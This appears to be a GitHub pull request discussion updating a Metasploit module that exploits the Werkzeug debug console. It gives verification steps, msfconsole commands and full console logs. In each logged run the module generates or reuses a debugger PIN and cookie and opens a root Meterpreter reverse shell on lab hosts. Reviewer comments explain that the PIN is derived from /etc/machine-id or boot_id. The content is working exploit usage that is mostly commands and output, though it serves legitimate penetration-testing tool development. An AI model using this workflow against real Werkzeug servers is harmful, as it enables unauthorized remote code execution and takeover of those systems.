Update werkzeug rce module
This updates an existing module that only targeted older version of the vulnerable Werkzeug application that didn't include any authentication. The update adds support for newer versions of Werkzeug that do support authentication. The updated module supports the following authentication methods:
- Generated-Cookie: Uses information about the system (which may be gained, e.g. using a separate arbitrary file-read vulnerability) to calculate an authentication cookie which is then used
- Known-Cookie: Uses a user-provided cookie to authenticate
- Known-PIN: uses a user-provided PIN to authenticate
- None: If authentication has been disabled, or is unsupported (e.g. in very old versions of Werkzeug)
When generating a cookie (and PIN), there are 3 different algorithms used, depending on the target selected by the user. This is because the algorithm used to generate the cookie/PIN has changed throughout the application's development.
Verification
- Start
msfconsole use exploit/multi/http/werkzeug_debug_rceset RHOSTS <Iip>set LHOST <ip>set VHOST 127.0.0.1set MACADDRESS <mac-address>set MACHINEID <machine-id>set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.pyrun- You should see a PIN and a cookie being logged then get a shell.
Sample vulnerable app code is included in the documentation, as well as additional verification steps, covering multiple versions of Werkzeug, and multiple exploit paths.
I'll update the documentation soon to include the logs that were previously verbose
I'll update the documentation soon to include the logs that were previously verbose
Done
This looks really nice. Thanks for sending it to us and taking the time to integrate the updates with the existing module.
@jheysel-r7 just wanted to check in on this since you are assigned
@jheysel-r7 just wanted to check in on this since you are assigned
Thank you for the reminder. I'll have time to take a look early next week.
Successful Testing ✅
Verifications steps
Werkzeug 3.0.3 using /console
- Do:
use exploit/multi/http/werkzeug_debug_rce - Do:
set RHOSTS <Iip> - Do:
set LHOST <ip> - Do:
set VHOST 127.0.0.1 - Do:
set MACADDRESS <mac-address> - Do:
set MACHINEID <machine-id> - Do:
set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py - Do:
run - You should see a PIN and a cookie being logged then get a shell.
msf6 exploit(multi/http/werkzeug_debug_rce) > set rhosts 172.16.199.138
rhosts => 172.16.199.138
msf6 exploit(multi/http/werkzeug_debug_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(multi/http/werkzeug_debug_rce) > set VHOST 127.0.0.1
VHOST => 127.0.0.1
msf6 exploit(multi/http/werkzeug_debug_rce) > set MACADDRESS 02:42:ac:12:00:07
MACADDRESS => 02:42:ac:12:00:07
msf6 exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 66a1b0ec-6d05-4da2-86c3-33bddc37945f
MACHINEID => 66a1b0ec-6d05-4da2-86c3-33bddc37945f
msf6 exploit(multi/http/werkzeug_debug_rce) > set FLASKPATH /usr/local/lib/python3.13/site-packages/flask/app.py
FLASKPATH => /usr/local/lib/python3.13/site-packages/flask/app.py
msf6 exploit(multi/http/werkzeug_debug_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Debugger allows code execution
[!] The service is running, but could not be validated. Debugger requires authentication
[*] Generated authentication PIN: 140-921-489
[*] Generated authentication cookie: __wzd4b1ba0cd23281e3203aa=9999999999|1d007f37ddb4
[*] Sending stage (24768 bytes) to 172.16.199.138
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.138:52076) at 2024-11-26 10:24:42 -0800
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 2e59cf2cfc1e
OS : Linux 6.1.0-28-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22)
Architecture : x64
Meterpreter : python/linux
meterpreter >
Werkzeug 3.0.3 using debugger (GET)
- Do:
set TARGETURI /getdownload?file= - Do:
run - You should see a PIN and a cookie being logged then get a shell.
msf6 exploit(multi/http/werkzeug_debug_rce) > set TARGETURI /getdownload?file=
TARGETURI => /getdownload?file=
msf6 exploit(multi/http/werkzeug_debug_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Debugger allows code execution
[!] The service is running, but could not be validated. Debugger requires authentication
[*] Generated authentication PIN: 140-921-489
[*] Generated authentication cookie: __wzd4b1ba0cd23281e3203aa=9999999999|1d007f37ddb4
[*] Sending stage (24772 bytes) to 172.16.199.138
[*] Meterpreter session 3 opened (172.16.199.1:4444 -> 172.16.199.138:49754) at 2024-11-26 10:26:48 -0800
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 2e59cf2cfc1e
OS : Linux 6.1.0-28-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22)
Architecture : x64
Meterpreter : python/linux
meterpreter >
Werkzeug 3.0.3 using debugger (POST)
- Do:
set METHOD POST - Do:
set TARGETURI /postdownload - Do:
set REQUESTBODY file= - Do:
run - You should see a PIN and a cookie being logged then get a shell.
msf6 exploit(multi/http/werkzeug_debug_rce) > set METHOD POST
METHOD => POST
msf6 exploit(multi/http/werkzeug_debug_rce) > set TARGETURI /postdownload
TARGETURI => /postdownload
msf6 exploit(multi/http/werkzeug_debug_rce) > set REQUESTBODY file=
REQUESTBODY => file=
msf6 exploit(multi/http/werkzeug_debug_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Debugger allows code execution
[!] The service is running, but could not be validated. Debugger requires authentication
[*] Generated authentication PIN: 140-921-489
[*] Generated authentication cookie: __wzd4b1ba0cd23281e3203aa=9999999999|1d007f37ddb4
[*] Sending stage (24772 bytes) to 172.16.199.138
[*] Meterpreter session 4 opened (172.16.199.1:4444 -> 172.16.199.138:36302) at 2024-11-26 10:27:58 -0800
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 2e59cf2cfc1e
OS : Linux 6.1.0-28-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22)
Architecture : x64
Meterpreter : python/linux
Steps 20 - 37 redacted due to issues with Werkzeug 1.0.1 testing
Werkzeug 0.11.5 using /console
- Do:
unset METHOD - Do:
unset TARGETURI - Do:
unset REQUESTBODY - Do:
set RPORT 82 - Do:
set TARGET 2 - Do:
set MACADDRESS <mac-address> - Do:
set MACHINEID <machine-id> - Do:
run - You should see a PIN and a cookie being logged then get a shell.
msf6 exploit(multi/http/werkzeug_debug_rce) > unset METHOD
Unsetting METHOD...
[!] Variable "METHOD" unset - but will use a default value still. If this is not desired, set it to a new value or attempt to clear it with set --clear METHOD
msf6 exploit(multi/http/werkzeug_debug_rce) > unset TARGETURI
Unsetting TARGETURI...
[!] Variable "TARGETURI" unset - but will use a default value still. If this is not desired, set it to a new value or attempt to clear it with set --clear TARGETURI
msf6 exploit(multi/http/werkzeug_debug_rce) > unset REQUESTBODY
Unsetting REQUESTBODY...
msf6 exploit(multi/http/werkzeug_debug_rce) > set RPORT 82
RPORT => 82
msf6 exploit(multi/http/werkzeug_debug_rce) > set TARGET 2
TARGET => 2
msf6 exploit(multi/http/werkzeug_debug_rce) > set MACADDRESS 02:42:ac:12:00:05
MACADDRESS => 02:42:ac:12:00:05
msf6 exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 66a1b0ec-6d05-4da2-86c3-33bddc37945f
MACHINEID => 66a1b0ec-6d05-4da2-86c3-33bddc37945f
msf6 exploit(multi/http/werkzeug_debug_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Debugger allows code execution
[!] The service is running, but could not be validated. Debugger requires authentication
[*] Secret Code: P73CZXbFOurbrVmVb5Mk
[*] Frame: 0
[*] Generated authentication PIN: 171-193-546
[*] Generated authentication cookie: __wzd0ce11159d687=9999999999
[*] Code execution was successful. Sending payload.
[*] Sending stage (24772 bytes) to 172.16.199.138
[*] Response indicates that payload has been executed. Note: This does not indicate a lack of errors
[*] Meterpreter session 7 opened (172.16.199.1:4444 -> 172.16.199.138:54666) at 2024-11-26 12:07:18 -0800
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : b7cb949df818
OS : Linux 6.1.0-28-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22)
Architecture : x64
System Language : C
Meterpreter : python/linux
meterpreter >
Werkzeug 0.11.5 using /debugger (GET)
- Do:
set TARGETURI /getdownload?file= - Do:
run - You should see a PIN and a cookie being logged then get a shell.
msf6 exploit(multi/http/werkzeug_debug_rce) > set TARGETURI /getdownload?file=
TARGETURI => /getdownload?file=
msf6 exploit(multi/http/werkzeug_debug_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Debugger allows code execution
[!] The service is running, but could not be validated. Debugger requires authentication
[*] Secret Code: P73CZXbFOurbrVmVb5Mk
[*] Frame: 139871316784400
[*] Generated authentication PIN: 171-193-546
[*] Generated authentication cookie: __wzd0ce11159d687=9999999999
[*] Code execution was successful. Sending payload.
[*] Sending stage (24772 bytes) to 172.16.199.138
[*] Response indicates that payload has been executed. Note: This does not indicate a lack of errors
[*] Meterpreter session 8 opened (172.16.199.1:4444 -> 172.16.199.138:54812) at 2024-11-26 12:26:45 -0800
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : b7cb949df818
OS : Linux 6.1.0-28-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22)
Architecture : x64
System Language : C
Meterpreter : python/linux
Werkzeug 0.11.5 using debugger (POST)
- Do:
set METHOD POST - Do:
set TARGETURI /postdownload - Do:
set REQUESTBODY file= - Do:
run - You should see a PIN and a cookie being logged then get a shell.
msf6 exploit(multi/http/werkzeug_debug_rce) > set METHOD POST
METHOD => POST
msf6 exploit(multi/http/werkzeug_debug_rce) > set TARGETURI /postdownload
TARGETURI => /postdownload
msf6 exploit(multi/http/werkzeug_debug_rce) > set REQUESTBODY file=
REQUESTBODY => file=
msf6 exploit(multi/http/werkzeug_debug_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Debugger allows code execution
[!] The service is running, but could not be validated. Debugger requires authentication
[*] Secret Code: P73CZXbFOurbrVmVb5Mk
[*] Frame: 139871315163216
[*] Generated authentication PIN: 171-193-546
[*] Generated authentication cookie: __wzd0ce11159d687=9999999999
[*] Code execution was successful. Sending payload.
[*] Sending stage (24772 bytes) to 172.16.199.138
[*] Response indicates that payload has been executed. Note: This does not indicate a lack of errors
[*] Meterpreter session 9 opened (172.16.199.1:4444 -> 172.16.199.138:44670) at 2024-11-26 12:27:31 -0800
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : b7cb949df818
OS : Linux 6.1.0-28-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22)
Architecture : x64
System Language : C
Meterpreter : python/linux
Werkzeug 0.10.1 (No authentication required) using /console
- Do:
unset METHOD - Do:
unset TARGETURI - Do:
unset REQUESTBODY - Do:
set RPORT 83 - Do:
set TARGET 3 - Do:
set AUTHMODE none - Do:
set MACADDRESS <mac-address> - Do:
set MACHINEID <machine-id> - Do:
run - You should see a PIN and a cookie being logged then get a shell.
msf6 exploit(multi/http/werkzeug_debug_rce) > unset METHOD
Unsetting METHOD...
[!] Variable "METHOD" unset - but will use a default value still. If this is not desired, set it to a new value or attempt to clear it with set --clear METHOD
msf6 exploit(multi/http/werkzeug_debug_rce) > unset TARGETURI
Unsetting TARGETURI...
[!] Variable "TARGETURI" unset - but will use a default value still. If this is not desired, set it to a new value or attempt to clear it with set --clear TARGETURI
msf6 exploit(multi/http/werkzeug_debug_rce) > unset REQUESTBODY
Unsetting REQUESTBODY...
msf6 exploit(multi/http/werkzeug_debug_rce) > set RPORT 83
RPORT => 83
msf6 exploit(multi/http/werkzeug_debug_rce) > set TARGET 3
TARGET => 3
msf6 exploit(multi/http/werkzeug_debug_rce) > set AUTHMODE none
AUTHMODE => none
msf6 exploit(multi/http/werkzeug_debug_rce) > set MACADDRESS
MACADDRESS => 02:42:ac:12:00:05
msf6 exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 66a1b0ec-6d05-4da2-86c3-33bddc37945f
MACHINEID => 66a1b0ec-6d05-4da2-86c3-33bddc37945f
msf6 exploit(multi/http/werkzeug_debug_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Debugger allows code execution
[*] Debugger does not require authentication
[+] The target is vulnerable. Code execution was successful
[*] Secret Code: GpU6llefJM7kLdVokgKV
[*] Frame: 0
[*] Code execution was successful. Sending payload.
[*] Sending stage (24772 bytes) to 172.16.199.138
[*] Response indicates that payload has been executed. Note: This does not indicate a lack of errors
[*] Meterpreter session 10 opened (172.16.199.1:4444 -> 172.16.199.138:35110) at 2024-11-26 12:35:41 -0800
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : b80a18b5c360
OS : Linux 6.1.0-28-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22)
Architecture : x64
System Language : C
Meterpreter : python/linux
meterpreter >
Werkzeug 0.10.1 (No authentication required) using /debugger (GET)
- Do:
set TARGETURI /getdownload?file= - Do:
run - You should see a PIN and a cookie being logged then get a shell.
msf6 exploit(multi/http/werkzeug_debug_rce) > set TARGETURI /getdownload?file=
TARGETURI => /getdownload?file=
msf6 exploit(multi/http/werkzeug_debug_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Debugger allows code execution
[*] Debugger does not require authentication
[+] The target is vulnerable. Code execution was successful
[*] Secret Code: GpU6llefJM7kLdVokgKV
[*] Frame: 140469650529552
[*] Code execution was successful. Sending payload.
[*] Sending stage (24772 bytes) to 172.16.199.138
[*] Response indicates that payload has been executed. Note: This does not indicate a lack of errors
[*] Meterpreter session 11 opened (172.16.199.1:4444 -> 172.16.199.138:40548) at 2024-11-26 12:37:51 -0800
meterpreter > getuid
Server username: root
meterpreter > sysinf
[-] Unknown command: sysinf. Did you mean sysinfo? Run the help command for more details.
meterpreter > sysinfo
Computer : b80a18b5c360
OS : Linux 6.1.0-28-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22)
Architecture : x64
System Language : C
Meterpreter : python/linux
meterpreter >
Werkzeug 0.10.1 (no authentication required) using debugger (POST)
- Do:
set METHOD POST - Do:
set TARGETURI /postdownload - Do:
set REQUESTBODY file= - Do:
run - You should see a PIN and a cookie being logged then get a shell.
msf6 exploit(multi/http/werkzeug_debug_rce) > set METHOD POST
METHOD => POST
msf6 exploit(multi/http/werkzeug_debug_rce) > set TARGETURI /postdownload
TARGETURI => /postdownload
msf6 exploit(multi/http/werkzeug_debug_rce) > set REQUESTBODY file=
REQUESTBODY => file=
msf6 exploit(multi/http/werkzeug_debug_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Debugger allows code execution
[*] Debugger does not require authentication
[+] The target is vulnerable. Code execution was successful
[*] Secret Code: GpU6llefJM7kLdVokgKV
[*] Frame: 140469633065104
[*] Code execution was successful. Sending payload.
[*] Sending stage (24772 bytes) to 172.16.199.138
[*] Response indicates that payload has been executed. Note: This does not indicate a lack of errors
[*] Meterpreter session 12 opened (172.16.199.1:4444 -> 172.16.199.138:48052) at 2024-11-26 12:39:34 -0800
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : b80a18b5c360
OS : Linux 6.1.0-28-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22)
Architecture : x64
System Language : C
Meterpreter : python/linux
Werkzeug 3.0.3 using debugger (POST) and known PIN with Basic HTTP Auth
- Do:
set RPORT 84 - Do:
set TARGET 0 - Do:
set AUTHMODE known-PIN - Do:
set HTTPUSERNAME admin - Do:
set HTTPPASSWORD admin - Do:
set PIN 1234 - Do:
run - You should see a cookie being logged then get a shell.
msf6 exploit(multi/http/werkzeug_debug_rce) > set RPORT 84
RPORT => 84
msf6 exploit(multi/http/werkzeug_debug_rce) > set TARGET 0
TARGET => 0
msf6 exploit(multi/http/werkzeug_debug_rce) > set AUTHMODE known-PIN
AUTHMODE => known-PIN
msf6 exploit(multi/http/werkzeug_debug_rce) > set HTTPUSERNAME admin
HTTPUSERNAME => admin
msf6 exploit(multi/http/werkzeug_debug_rce) > set HTTPPASSWORD admin
HTTPPASSWORD => admin
msf6 exploit(multi/http/werkzeug_debug_rce) > set PIN 1234
PIN => 1234
msf6 exploit(multi/http/werkzeug_debug_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Debugger allows code execution
[!] The service is running, but could not be validated. Debugger requires authentication
[*] Secret Code: CrWFBUEtpcdcKzy88sRD
[*] Frame: 139728287211456
[*] Authenticated using PIN: 1234
[*] Retrieved authentication cookie: __wzdf89641399ff4f169139a=1732653716|831855286200;
[*] Code execution was successful. Sending payload.
[*] Sending stage (24772 bytes) to 172.16.199.138
[*] Response indicates that payload has been executed. Note: This does not indicate a lack of errors
[*] Meterpreter session 13 opened (172.16.199.1:4444 -> 172.16.199.138:55288) at 2024-11-26 12:41:58 -0800
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 6e82de4187e9
OS : Linux 6.1.0-28-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22)
Architecture : x64
Meterpreter : python/linux
meterpreter >
Werkzeug 3.0.3 interactive debugger disabled
- Do:
set RPORT 85 - Do:
unset AUTHMODE - Do:
set MACADDRESS <mac-address> - Do:
set MACHINEID <machine-id> - Do:
set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py - Do:
run - You should see a failure due to the check failing.
msf6 exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 66a1b0ec-6d05-4da2-86c3-33bddc37945f
MACHINEID => 66a1b0ec-6d05-4da2-86c3-33bddc37945f
msf6 exploit(multi/http/werkzeug_debug_rce) > set MACADDRESS 02:42:ac:12:00:04
MACADDRESS => 02:42:ac:12:00:04
msf6 exploit(multi/http/werkzeug_debug_rce) > set FLASKPATH /usr/local/lib/python3.13/site-packages/flask/app.py
FLASKPATH => /usr/local/lib/python3.13/site-packages/flask/app.py
msf6 exploit(multi/http/werkzeug_debug_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. Debugger does not allow code execution "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
@jheysel-r7
Sorry it took me so long to get back to you! I've made the changes you suggested.
Regarding the exploitation failures you experienced:
I've gone through all the verification steps and I've been able to successfully test all the targets except for
Werkzeug 1.0.1.I was wondering if you might be able to take a look at the following logs and let me know if you have any idea what might be causing issues?
It looks to me like the module is generating an invalid pin. The thing that sticks out when I compare it to my logs when I was trying to recreate your issue is that your machineid looks like it came from /proc/sys/kernel/random/boot_id rather than /etc/machine-id because you've set MACHINEID to a uuid rather than a hex string.
Werkzeug generates the pin (and cookie) using an algorithm that takes various inputs, machine id being one of them. The data it uses for machineid comes from /etc/machine-id, but if that isn't present on the system then it will fall back to /proc/sys/kernel/random/boot_id. /etc/machine-id is preferred over /proc/sys/kernel/random/boot_id.
Are you sure that /etc/machine-id didn't exist on the system? If it did exist then that is what you should be using instead of /proc/sys/kernel/random/boot_id
This demonstrates the formats of the two different data sources:
Preferred:
$ cat /etc/machine-id
75aae01548875f7e4079e74658c03f64
Fallback:
$ cat /proc/sys/kernel/random/boot_id
9f5a1f98-7008-47c2-a719-eabe713a0a59
I hope that makes sense?
Are you able to try it again, but ensure that you are using the value from /etc/machine-id for MACHINEID?
Release Notes
This updates the existing multi/http/werkzeug_debug_rce module that only targeted older version of the vulnerable Werkzeug application that didn't include any authentication. The update adds support for newer versions of Werkzeug that do support authentication. The updated module supports the following authentication methods:
Generated-Cookie: Uses information about the system (which may be gained, e.g. using a separate arbitrary file-read vulnerability) to calculate an authentication cookie which is then used Known-Cookie: Uses a user-provided cookie to authenticate Known-PIN: uses a user-provided PIN to authenticate None: If authentication has been disabled, or is unsupported (e.g. in very old versions of Werkzeug) When generating a cookie (and PIN), there are 3 different algorithms used, depending on the target selected by the user. This is because the algorithm used to generate the cookie/PIN has changed throughout the application's development.